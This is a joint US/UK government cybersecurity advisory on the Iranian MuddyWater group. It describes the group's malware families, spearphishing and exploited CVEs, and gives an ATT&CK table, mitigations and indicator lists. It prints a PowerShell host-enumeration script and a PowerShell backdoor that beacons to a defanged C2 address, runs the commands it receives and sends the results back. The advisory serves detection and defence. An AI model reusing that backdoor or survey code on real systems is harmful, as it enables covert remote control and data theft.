MuddyWater actors are positioned both to provide stolen data and accesses to the Iranian government and to share these with other malicious cyber actors.
Actions to Take Today to Protect Against Malicious Activity Search for indicators of compromise.
Use antivirus software.
Patch all systems.
Prioritize patching known exploited vulnerabilities.
Train users to recognize and report phishing attempts.
Use multi-factor authentication.
https://www.fbi.gov/contact-us/field-offices mailto:CyWatchfbi.gov mailto:CISAServiceDeskcisa.dhs.gov mailto:Cybersecurity_Requestsnsa.gov https://www.ncsc.gov.uk/section/about-this-website/contact-us https://www.cisa.gov/tlp https://attack.mitre.org/versions/v10/techniques/enterprise/ https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://us-cert.cisa.gov/ncas/tips/ST04-006 https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://us-cert.cisa.gov/ncas/tips/ST04-014 https://us-cert.cisa.gov/ncas/tips/ST05-012 FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 2 of 19    Product ID: AA22-055A TLP: WHITE MuddyWater actors are known to exploit publicly reported vulnerabilities and use open-source tools and strategies to gain access to sensitive data on victims systems and deploy ransomware.
These actors also maintain persistence on victim networks via tactics such as side-loading dynamic link libraries (DLLs)to trick legitimate programs into running malwareand obfuscating PowerShell scripts to hide command and control (C2) functions.
FBI, CISA, CNMF, and NCSC-UK have observed MuddyWater actors recently using various malwarevariants of PowGoop, Small Sieve, Canopy (also known as Starwhale), Mori, and POWERSTATSalong with other tools as part of their malicious activity.
This advisory provides observed tactics, techniques, and procedures (TTPs) malware and indicators of compromise (IOCs) associated with this Iranian government-sponsored APT activity to aid organizations in the identification of malicious activity against sensitive networks.
FBI, CISA, CNMF, NCSC-UK, and the National Security Agency (NSA) recommend organizations apply the mitigations in this advisory and review the following resources for additional information.
Note: also see the Additional Resources section.
Malware Analysis Report  MAR-10369127.r1.v1: MuddyWater IOCs  AA22-055A.stix and MAR-10369127.r1.v1.stix CISAs webpage  Iran Cyber Threat Overview and Advisories NCSC-UK MAR  Small Sieve CNMFs press release  Iranian intel cyber suite of malware uses open source tools TECHNICAL DETAILS FBI, CISA, CNMF, and NCSC-UK have observed the Iranian government-sponsored MuddyWater APT group employing spearphishing, exploiting publicly known vulnerabilities, and leveraging multiple open-source tools to gain access to sensitive government and commercial networks.
As part of its spearphishing campaign, MuddyWater attempts to coax their targeted victim into downloading ZIP files, containing either an Excel file with a malicious macro that communicates with the actors C2 server or a PDF file that drops a malicious file to the victims network [T1566.001, T1204.002].
MuddyWater actors also use techniques such as side-loading DLLs [T1574.002] to trick legitimate programs into running malware and obfuscating PowerShell scripts [T1059.001] to hide C2 functions [T1027] (see the PowGoop section for more information).
Additionally, the group uses multiple malware setsincluding PowGoop, Small Sieve, Canopy/Starwhale, Mori, and POWERSTATSfor loading malware, backdoor access, persistence [TA0003], and exfiltration [TA0010].
See below for descriptions of some of these malware sets, including newer tools or variants to the groups suite.
Additionally, see Malware Analysis Report MAR- 10369127.r1.v1: MuddyWater for further details.
PowGoop https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A.stix.xml https://www.cisa.gov/uscert/sites/default/files/publications/MAR-10369127-1.v1.WHITE_stix.xml https://www.us-cert.cisa.gov/iran https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://attack.mitre.org/versions/v10/techniques/T1566/001/ https://attack.mitre.org/versions/v10/techniques/T1204/002 https://attack.mitre.org/versions/v10/techniques/T1574/002/ https://attack.mitre.org/versions/v10/techniques/T1059/001/ https://attack.mitre.org/versions/v10/techniques/T1027/ https://attack.mitre.org/versions/v10/tactics/TA0003/ https://attack.mitre.org/versions/v10/tactics/TA0010/ https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 3 of 19    Product ID: AA22-055A TLP: WHITE MuddyWater actors use new variants of PowGoop malware as their main loader in malicious operations it consists of a DLL loader and a PowerShell-based downloader.
The malicious file impersonates a legitimate file that is signed as a Google Update executable file.
According to samples of PowGoop analyzed by CISA and CNMF, PowGoop consists of three components: A DLL file renamed as a legitimate filename, Goopdate.dll, to enable the DLL side-loading technique [T1574.002].
The DLL file is contained within an executable, GoogleUpdate.exe.
A PowerShell script, obfuscated as a .dat file, goopdate.dat, used to decrypt and run a second obfuscated PowerShell script, config.txt [T1059.001].
config.txt, an encoded, obfuscated PowerShell script containing a beacon to a hardcoded IP address.
These components retrieve encrypted commands from a C2 server.
The DLL file hides communications with MuddyWater C2 servers by executing with the Google Update service.
Small Sieve According to a sample analyzed by NCSC-UK, Small Sieve is a simple Python [T1059.006] backdoor distributed using a Nullsoft Scriptable Install System (NSIS) installer, gram_app.exe.
The NSIS installs the Python backdoor, index.exe, and adds it as a registry run key [T1547.001], enabling persistence [TA0003].
MuddyWater disguises malicious executables and uses filenames and Registry key names associated with Microsofts Windows Defender to avoid detection during casual inspection.
The APT group has also used variations of Microsoft (e.g., Microsift) and Outlook in its filenames associated with Small Sieve [T1036.005].
Small Sieve provides basic functionality required to maintain and expand a foothold in victim infrastructure and avoid detection [TA0005] by using custom string and traffic obfuscation schemes together with the Telegram Bot application programming interface (API).
Specifically, Small Sieves beacons and taskings are performed using Telegram API over Hypertext Transfer Protocol Secure (HTTPS) [T1071.001], and the tasking and beaconing data is obfuscated through a hex byte swapping encoding scheme combined with an obfuscated Base64 function [T1027], T1132.002].
Note: cybersecurity agencies in the United Kingdom and the United States attribute Small Sieve to MuddyWater with high confidence.
See Appendix B for further analysis of Small Sieve malware.
Canopy MuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with targeted attachments [T1566.001].
According to two Canopy/Starwhale samples analyzed by CISA, Canopy uses Windows Script File (.wsf) scripts distributed by a malicious Excel file.
Note: the cybersecurity agencies of the United Kingdom and the United States attribute these malware samples to MuddyWater with high confidence.
https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-055a https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://attack.mitre.org/versions/v10/techniques/T1574/002/ https://attack.mitre.org/versions/v10/techniques/T1059/001/ https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf https://attack.mitre.org/versions/v10/techniques/T1059/006/ https://attack.mitre.org/versions/v10/techniques/T1547/001/ https://attack.mitre.org/versions/v10/tactics/TA0003/ https://attack.mitre.org/versions/v10/techniques/T1036/005/ https://attack.mitre.org/versions/v10/tactics/TA0005/ https://attack.mitre.org/versions/v10/techniques/T1071/001 https://attack.mitre.org/versions/v10/techniques/T1027 https://attack.mitre.org/versions/v10/techniques/T1132/002/ https://attack.mitre.org/versions/v10/techniques/T1566/001 FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 4 of 19    Product ID: AA22-055A TLP: WHITE In the samples CISA analyzed, a malicious Excel file, Cooperation terms.xls, contained macros written in Visual Basic for Applications (VBA) and two encoded Windows Script Files.
When the victim opens the Excel file, they receive a prompt to enable macros [T1204.002].
Once this occurs, the macros are executed, decoding and installing the two embedded Windows Script Files.
The first .wsf is installed in the current user startup folder [T1547.001] for persistence.
The file contains hexadecimal (hex)-encoded strings that have been reshuffled [T1027].
The file executes a command to run the second .wsf.
The second .wsf also contains hex-encoded strings that have been reshuffled.
This file collects [TA0035] the victim systems IP address, computer name, and username [T1005].
The collected data is then hex-encoded and sent to an adversary-controlled IP address, http[:]88.119.170[.
]124, via an HTTP POST request [T1041].
Mori MuddyWater also uses the Mori backdoor that uses Domain Name System tunneling to communicate with the groups C2 infrastructure [T1572].
According to one sample analyzed by CISA, FML.dll, Mori uses a DLL written in C that is executed with regsvr32.exe with export DllRegisterServer this DLL appears to be a component to another program.
FML.dll contains approximately 200MB of junk data [T1001.001] in a resource directory 205, number 105.
Upon execution, FML.dll creates a mutex, 0x50504060, and performs the following tasks: Deletes the file FILENAME.old and deletes file by registry value.
The filename is the DLL file with a .old extension.
Resolves networking APIs from strings that are ADD-encrypted with the key 0x05.
Uses Base64 and Java Script Object Notation (JSON) based on certain key values passed to the JSON library functions.
It appears likely that JSON is used to serialize C2 commands and/or their results.
Communicates using HTTP over either IPv4 or IPv6, depending on the value of an unidentified flag, for C2 [T1071.001].
Reads and/or writes data from the following Registry Keys, HKLM\Software\NFC\IPA and HKLM\Software\NFC\(Default).
POWERSTATS This group is also known to use the POWERSTATS backdoor, which runs PowerShell scripts to maintain persistent access to the victim systems [T1059.001].
CNMF has posted samples further detailing the different parts of MuddyWaters new suite of tools along with JavaScript files used to establish connections back to malicious infrastructureto the malware aggregation tool and repository, Virus Total.
Network operators who identify multiple instances of the tools on the same network should investigate further as this may indicate the presence of an Iranian malicious cyber actor.
https://attack.mitre.org/versions/v10/techniques/T1204/002/ https://attack.mitre.org/versions/v10/techniques/T1547/001/ https://attack.mitre.org/versions/v10/techniques/T1027/ https://attack.mitre.org/versions/v10/tactics/TA0035/ https://attack.mitre.org/versions/v10/techniques/T1005/ https://attack.mitre.org/versions/v10/techniques/T1041/ https://attack.mitre.org/versions/v10/techniques/T1572/ https://attack.mitre.org/versions/v10/techniques/T1001/001/ https://attack.mitre.org/versions/v10/techniques/T1071/001/ https://attack.mitre.org/versions/v10/techniques/T1059 http://www.virustotal.com/en/user/CYBERCOM_Malware_Alert FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 5 of 19    Product ID: AA22-055A TLP: WHITE MuddyWater actors are also known to exploit unpatched vulnerabilities as part of their targeted operations.
FBI, CISA, CNMF, and NCSC-UK have observed this APT group recently exploiting the Microsoft Netlogon elevation of privilege vulnerability (CVE-2020-1472) and the Microsoft Exchange memory corruption vulnerability (CVE-2020-0688).
See CISAs Known Exploited Vulnerabilities Catalog for additional vulnerabilities with known exploits and joint Cybersecurity Advisory: Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities for additional Iranian APT group-specific vulnerability exploits.
Survey Script The following script is an example of a survey script used by MuddyWater to enumerate information about victim computers.
It queries the Windows Management Instrumentation (WMI) service to obtain information about the compromised machine to generate a string, with these fields separated by a delimiter (e.g.,  in this sample).
The produced string is usually encoded by the MuddyWater implant and sent to an adversary-controlled IP address.
O  Get-WmiObject Win32_OperatingSystemS  O.NameS  ips  Get- WmiObject Win32_NetworkAdapterConfiguration -Filter IPEnabledTrue   ips ips  ,   _.IPAddress[0]S  ips.substring(1)S  S O.OSArchitectureS  S [System.
Net.
DNS]::GetHostByName().HostNameS  S  ((Get-WmiObject Win32_ComputerSystem).Domain)S  S  env:UserNameS AntiVirusProducts  Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct  -ComputerName env:computernameresAnti ()foreach(AntiVirusProduct in AntiVirusProducts)resAnti AntiVirusProduct.displayNameS  resAntiecho S Newly Identified PowerShell Backdoor The newly identified PowerShell backdoor used by MuddyWater below uses a single-byte Exclusive- OR (XOR) to encrypt communications with the key 0x02 to adversary-controlled infrastructure.
The script is lightweight in functionality and uses the InvokeScript method to execute responses received from the adversary.
function encode(txt,key)enByte [Text.
Encoding]::UTF8.GetBytes(txt)for(i0 i -lt enByte.count i)enByte[i]  enByte[i] -bxor keyencodetxt [Convert]::ToBase64String(enByte)return encodetxtfunction decode(txt,key)enByte  [System.
Convert]::FromBase64String(txt)for(i0 i -lt enByte.count  i)enByte[i]  enByte[i] -bxor keydtxt [System.
Text.
Encoding]::UTF8.GetString(enByte)return dtxtglobal:tt20while(true)tryw [System.
Net.
HttpWebRequest]::Create(http[:]//95.181.161[.
]49:80/index.php?idvi ctim identifier)w.proxy  [Net.
WebRequest]::GetSystemWebProxy()r(New- Object System.
IO.StreamReader(w.
GetResponse().GetResponseStream())).ReadToEnd()if(r.
L https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2020-1472 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2020-0688 https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.cisa.gov/uscert/ncas/alerts/aa21-321a https://www.cisa.gov/uscert/ncas/alerts/aa21-321a FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 6 of 19    Product ID: AA22-055A TLP: WHITE ength -gt 0)res[string]ExecutionContext.
InvokeCommand.
InvokeScript(( decode r 2))wr [System.
Net.
HttpWebRequest]::Create(http[:]//95.181.161[.
]49:80/index.php?idvi ctim identifier)wr.proxy [Net.
WebRequest]::GetSystemWebProxy()wr.
Headers.
Add(cookie,(encode res 2))wr.
GetResponse().GetResponseStream()catch Start-Sleep -Seconds global:tt MITRE ATTCK TECHNIQUES MuddyWater uses the ATTCK techniques listed in table 1.
Table 1: MuddyWater ATTCK Techniques [2] Technique Title ID Use Reconnaissance Gather Victim Identity Information: Email Addresses T1589.002 MuddyWater has specifically targeted government agency employees with spearphishing emails.
Resource Development Acquire Infrastructure: Web Services T1583.006 MuddyWater has used file sharing services including OneHub to distribute tools.
Obtain Capabilities: Tool T1588.002 MuddyWater has made use of legitimate tools ConnectWise and RemoteUtilities for access to target environments.
Initial Access Phishing: Spearphishing Attachment T1566.001 MuddyWater has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments.
Phishing: Spearphishing Link T1566.002 MuddyWater has sent targeted spearphishing emails with malicious links.
Execution Windows Management Instrumentation T1047 MuddyWater has used malware that leveraged Windows Management Instrumentation for execution and querying host information.
https://attack.mitre.org/groups/G0069/ https://attack.mitre.org/versions/v10/groups/G0069/ https://attack.mitre.org/versions/v10/techniques/T1589/002 https://attack.mitre.org/versions/v10/techniques/T1583/006/ https://attack.mitre.org/groups/G0069 https://attack.mitre.org/versions/v10/techniques/T1588/002 https://attack.mitre.org/versions/v10/techniques/T1566/001 https://attack.mitre.org/versions/v10/techniques/T1566/002 https://attack.mitre.org/versions/v10/techniques/T1047 FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 7 of 19    Product ID: AA22-055A TLP: WHITE Command and Scripting Interpreter: PowerShell T1059.001 MuddyWater has used PowerShell for execution.
Command and Scripting Interpreter: Windows Command Shell 1059.003 MuddyWater has used a custom tool for creating reverse shells.
Command and Scripting Interpreter: Visual Basic T1059.005 MuddyWater has used Virtual Basic Script (VBS) files to execute its POWERSTATS payload, as well as macros.
Command and Scripting Interpreter: Python T1059.006 MuddyWater has used developed tools in Python including Out1.
Command and Scripting Interpreter: JavaScript T1059.007 MuddyWater has used JavaScript files to execute its POWERSTATS payload.
Exploitation for Client Execution T1203 MuddyWater has exploited the Office vulnerability CVE- 2017-0199 for execution.
User Execution: Malicious Link T1204.001 MuddyWater has distributed URLs in phishing emails that link to lure documents.
User Execution: Malicious File T1204.002 MuddyWater has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails.
Inter-Process Communication: Component Object Model T1559.001 MuddyWater has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook.
Inter-Process Communication: Dynamic Data Exchange T1559.002 MuddyWater has used malware that can execute PowerShell scripts via Dynamic Data Exchange.
Persistence Scheduled Task/Job: Scheduled Task T1053.005 MuddyWater has used scheduled tasks to establish persistence.
Office Application Startup: Office Template Macros T1137.001 MuddyWater has used a Word Template, Normal.dotm, for persistence.
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001 MuddyWater has added Registry Run key KCU\Software\Microsoft\Windows\CurrentVersion\R un\SystemTextEncoding to establish persistence.
https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/versions/v10/techniques/T1059/001/ https://attack.mitre.org/groups/G0069 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/versions/v10/techniques/T1059/003 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/versions/v10/techniques/T1059/005 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/software/S0223 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/techniques/T1059/006 https://attack.mitre.org/versions/v10/techniques/T1059/006 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/software/S0594 https://attack.mitre.org/versions/v10/techniques/T1059/007 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/software/S0223 https://attack.mitre.org/versions/v10/techniques/T1203 https://attack.mitre.org/versions/v10/techniques/T1204/001 https://attack.mitre.org/versions/v10/techniques/T1204/002 https://attack.mitre.org/versions/v10/techniques/T1559/001 https://attack.mitre.org/versions/v10/techniques/T1559/002 https://attack.mitre.org/versions/v10/techniques/T1053/005 https://attack.mitre.org/versions/v10/techniques/T1137/001 https://attack.mitre.org/techniques/T1547 https://attack.mitre.org/techniques/T1547 https://attack.mitre.org/versions/v10/techniques/T1547 FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 8 of 19    Product ID: AA22-055A TLP: WHITE Privilege Escalation Abuse Elevation Control Mechanism: Bypass User Account Control T1548.002 MuddyWater uses various techniques to bypass user account control.
Credentials from Password Stores T1555 MuddyWater has performed credential dumping with LaZagne and other tools, including by dumping passwords saved in victim email.
Credentials from Web Browsers T1555.003 MuddyWater has run tools including Browser64 to steal passwords saved in victim web browsers.
Defense Evasion Obfuscated Files or Information T1027 MuddyWater has used Daniel Bohannons Invoke- Obfuscation framework and obfuscated PowerShell scripts.
The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands.
Steganography T1027.003 MuddyWater has stored obfuscated JavaScript code in an image file named temp.jpg.
Compile After Delivery T1027.004 MuddyWater has used the .NET csc.exe tool to compile executables from downloaded C code.
Masquerading: Match Legitimate Name or Location T1036.005 MuddyWater has disguised malicious executables and used filenames and Registry key names associated with Windows Defender.
E.g., Small Sieve uses variations of Microsoft (Microsift) and Outlook in its filenames to attempt to avoid detection during casual inspection.
Deobfuscate/Decode Files or Information T1140 MuddyWater decoded Base64-encoded PowerShell commands using a VBS file.
Signed Binary Proxy Execution: CMSTP T1218.003 MuddyWater has used CMSTP.exe and a malicious .INF file to execute its POWERSTATS payload.
Signed Binary Proxy Execution: Mshta T1218.005 MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell one- liner for execution.
Signed Binary Proxy Execution: Rundll32 T1218.011 MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.
https://attack.mitre.org/versions/v10/techniques/T1548/002/ https://attack.mitre.org/groups/G0069 https://attack.mitre.org/versions/v10/techniques/T1555 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/software/S0349 https://attack.mitre.org/versions/v10/techniques/T1055/003 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/versions/v10/techniques/T1027 https://attack.mitre.org/versions/v10/techniques/T1027/003 https://attack.mitre.org/versions/v10/techniques/T1027/004 https://attack.mitre.org/versions/v10/techniques/T1036/005 https://attack.mitre.org/versions/v10/techniques/T1140 https://attack.mitre.org/versions/v10/techniques/T1218/003 https://attack.mitre.org/versions/v10/techniques/T1218/005 https://attack.mitre.org/versions/v10/techniques/T1218/011 FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 9 of 19    Product ID: AA22-055A TLP: WHITE Execution Guardrails T1480 The Small Sieve payload used by MuddyWater will only execute correctly if the word Platypus is passed to it on the command line.
Impair Defenses: Disable or Modify Tools T1562.001 MuddyWater can disable the systems local proxy settings.
Credential Access OS Credential Dumping: LSASS Memory T1003.001 MuddyWater has performed credential dumping with Mimikatz and procdump64.exe.
OS Credential Dumping: LSA Secrets T1003.004 MuddyWater has performed credential dumping with LaZagne.
OS Credential Dumping: Cached Domain Credentials T1003.005 MuddyWater has performed credential dumping with LaZagne.
Unsecured Credentials: Credentials In Files T1552.001 MuddyWater has run a tool that steals passwords saved in victim email.
Discovery System Network Configuration Discovery T1016 MuddyWater has used malware to collect the victims IP address and domain name.
System Owner/User Discovery T1033 MuddyWater has used malware that can collect the victims username.
System Network Connections Discovery T1049 MuddyWater has used a PowerShell backdoor to check for Skype connections on the target machine.
Process Discovery T1057 MuddyWater has used malware to obtain a list of running processes on the system.
System Information Discovery T1082 MuddyWater has used malware that can collect the victims OS version and machine name.
File and Directory Discovery T1083 MuddyWater has used malware that checked if the ProgramData folder had folders or files with the keywords Kasper, Panda, or ESET.
Account Discovery: Domain Account T1087.002 MuddyWater has used cmd.exe net user/domain to enumerate domain users.
https://attack.mitre.org/versions/v10/techniques/T1480/ https://attack.mitre.org/versions/v10/techniques/T1562/001 https://attack.mitre.org/versions/v10/techniques/T1003/001 https://attack.mitre.org/versions/v10/techniques/T1003/004 https://attack.mitre.org/versions/v10/techniques/T1003/005 https://attack.mitre.org/versions/v10/techniques/T1552/001 https://attack.mitre.org/versions/v10/techniques/T1016 https://attack.mitre.org/versions/v10/techniques/T1033 https://attack.mitre.org/versions/v10/techniques/T1049 https://attack.mitre.org/versions/v10/techniques/T1057 https://attack.mitre.org/versions/v10/techniques/T1082 https://attack.mitre.org/versions/v10/techniques/T1083 https://attack.mitre.org/versions/v10/techniques/T1087/002/ https://attack.mitre.org/groups/G0069 FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 10 of 19    Product ID: AA22-055A TLP: WHITE Software Discovery T1518 MuddyWater has used a PowerShell backdoor to check for Skype connectivity on the target machine.
Security Software Discovery T1518.001 MuddyWater has used malware to check running processes against a hard-coded list of security tools often used by malware researchers.
Collection Screen Capture T1113 MuddyWater has used malware that can capture screenshots of the victims machine.
Archive Collected Data: Archive via Utility T1560.001  MuddyWater has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded.
Command and Control Application Layer Protocol: Web Protocols T1071.001 MuddyWater has used HTTP for C2 communications.
e.g., Small Sieve beacons and tasking are performed using the Telegram API over HTTPS.
Proxy: External Proxy T1090.002 MuddyWater has controlled POWERSTATS from behind a proxy network to obfuscate the C2 location.
MuddyWater has used a series of compromised websites that victims connected to randomly to relay information to C2.
Web Service: Bidirectional Communication T1102.002 MuddyWater has used web services including OneHub to distribute remote access tools.
Multi-Stage Channels T1104 MuddyWater has used one C2 to obtain enumeration scripts and monitor web logs, but a different C2 to send data back.
Ingress Tool Transfer T1105 MuddyWater has used malware that can upload additional files to the victims machine.
Data Encoding: Standard Encoding T1132.001 MuddyWater has used tools to encode C2 communications including Base64 encoding.
Data Encoding: Non-Standard Encoding T1132.002 MuddyWater uses tools such as Small Sieve, which employs a custom hex byte swapping encoding scheme to obfuscate tasking traffic.
https://attack.mitre.org/versions/v10/techniques/T1518 https://attack.mitre.org/versions/v10/techniques/T1518/001 https://attack.mitre.org/versions/v10/techniques/T1113 https://attack.mitre.org/techniques/T1560 https://attack.mitre.org/techniques/T1560 https://attack.mitre.org/versions/v10/techniques/T1560 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/techniques/T1071 https://attack.mitre.org/techniques/T1071 https://attack.mitre.org/versions/v10/techniques/T1071/ https://attack.mitre.org/groups/G0069 https://attack.mitre.org/versions/v10/techniques/T1090/002 https://attack.mitre.org/versions/v10/techniques/T1102/002 https://attack.mitre.org/versions/v10/techniques/T1104 https://attack.mitre.org/versions/v10/techniques/T1105 https://attack.mitre.org/versions/v10/techniques/T1132/001/ https://attack.mitre.org/versions/v10/techniques/T1132/002/ FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 11 of 19    Product ID: AA22-055A TLP: WHITE Remote Access Software T1219 MuddyWater has used a legitimate application, ScreenConnect, to manage systems remotely and move laterally.
Exfiltration Exfiltration Over C2 Channel T1041 MuddyWater has used C2 infrastructure to receive exfiltrated data.
MITIGATIONS Protective Controls and Architecture Deploy application control software to limit the applications and executable code that can be run by users.
Email attachments and files downloaded via links in emails often contain executable code.
Identity and Access Management Use multifactor authentication where possible, particularly for webmail, virtual private networks, and accounts that access critical systems.
Limit the use of administrator privileges.
Users who browse the internet, use email, and execute code with administrator privileges make for excellent spearphishing targets because their systemonce infectedenables attackers to move laterally across the network, gain additional accesses, and access highly sensitive information.
Phishing Protection Enable antivirus and anti-malware software and update signature definitions in a timely manner.
Well-maintained antivirus software may prevent use of commonly deployed attacker tools that are delivered via spearphishing.
Be suspicious of unsolicited contact via email or social media from any individual you do not know personally.
Do not click on hyperlinks or open attachments in these communications.
Consider adding an email banner to emails received from outside your organization and disabling hyperlinks in received emails.
Train users through awareness and simulations to recognize and report phishing and social engineering attempts.
Identify and suspend access of user accounts exhibiting unusual activity.
Adopt threat reputation services at the network device, operating system, application, and email service levels.
Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spearphishing attacks.
Vulnerability and Configuration Management https://attack.mitre.org/versions/v10/techniques/T1219 https://attack.mitre.org/versions/v10/techniques/T1041 FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 12 of 19    Product ID: AA22-055A TLP: WHITE Install updates/patch operating systems, software, and firmware as soon as updates/patches are released.
Prioritize patching known exploited vulnerabilities.
ADDITIONAL RESOURCES For more information on Iranian government-sponsored malicious cyber activity, see CISAs webpage  Iran Cyber Threat Overview and Advisories and CNMFs press release  Iranian intel cyber suite of malware uses open source tools.
For information and resources on protecting against and responding to ransomware, refer to StopRansomware.gov, a centralized, whole-of-government webpage providing ransomware resources and alerts.
The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.
CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware.
By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.
The U.S. Department of States Rewards for Justice (RFJ) program offers a reward of up to 10 million for reports of foreign government malicious activity against U.S. critical infrastructure.
See the RFJ website for more information and how to report information securely.
REFERENCES [1] CNMF Article: Iranian Intel Cyber Suite of Malware Uses Open Source Tools [2] MITRE ATTCK: MuddyWater CAVEATS The information you have accessed or received is being provided as is for informational purposes only.
The FBI, CISA, CNMF, and NSA do not endorse any commercial product or service, including any subjects of analysis.
Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the FBI, CISA, CNMF, or NSA.
PURPOSE This document was developed by the FBI, CISA, CNMF, NCSC-UK, and NSA in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.
This information may be shared broadly to reach all appropriate stakeholders.
The United States NSA agrees with this attribution and the details provided in this report.
https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.us-cert.cisa.gov/iran https://www.us-cert.cisa.gov/iran https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://www.cisa.gov/stopransomware/ https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf https://www.cisa.gov/cyber-hygiene-services https://rewardsforjustice.net/rewards/foreign-malicious-cyber-activity-against-u-s-critical-infrastructure/ https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://attack.mitre.org/versions/v10/groups/G0069/ FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 13 of 19    Product ID: AA22-055A TLP: WHITE FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 14 of 19    Product ID: AA22-055A TLP: WHITE APPENDIX A: IOCS The following IP addresses are associated with MuddyWater activity: 5.199.133[.
]149 45.142.213[.
]17 45.142.212[.
]61 45.153.231[.
]104 46.166.129[.
]159 80.85.158[.
]49 87.236.212[.
]22 88.119.170[.
]124 88.119.171[.
]213 89.163.252[.
]232 95.181.161[.
]49 95.181.161[.
]50 164.132.237[.
]65 185.25.51[.
]108 185.45.192[.
]228 185.117.75[.
]34 185.118.164[.
]21 185.141.27[.
]143 185.141.27[.
]248 185.183.96[.
]7 185.183.96[.
]44 192.210.191[.
]188 192.210.226[.
]128 FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 15 of 19    Product ID: AA22-055A TLP: WHITE APPENDIX B: SMALL SIEVE Note: the information contained in this appendix is from NCSC-UK analysis of a Small Sieve sample.
Metadata Table 2: Gram_app.exe Metadata Filename gram_app.exe Description NSIS installer that installs and runs the index.exe backdoor and adds a persistence registry key Size 16999598 bytes MD5 15fa3b32539d7453a9a85958b77d4c95 SHA-1 11d594f3b3cf8525682f6214acb7b7782056d282 SHA-256 b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054 Compile Time 2021-09-25 21:57:46 UTC Table 3: Index.exe Metadata Filename index.exe Description The final PyInstaller-bundled Python 3.9 backdoor Size 17263089 bytes MD5 5763530f25ed0ec08fb26a30c04009f1 SHA-1 2a6ddf89a8366a262b56a251b00aafaed5321992 SHA-256 bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37 d3a2 Compile Time 2021-08-01 04:39:46 UTC Functionality Installation Small Sieve is distributed as a large (16MB) NSIS installer named gram_app.exe, which does not appear to masquerade as a legitimate application.
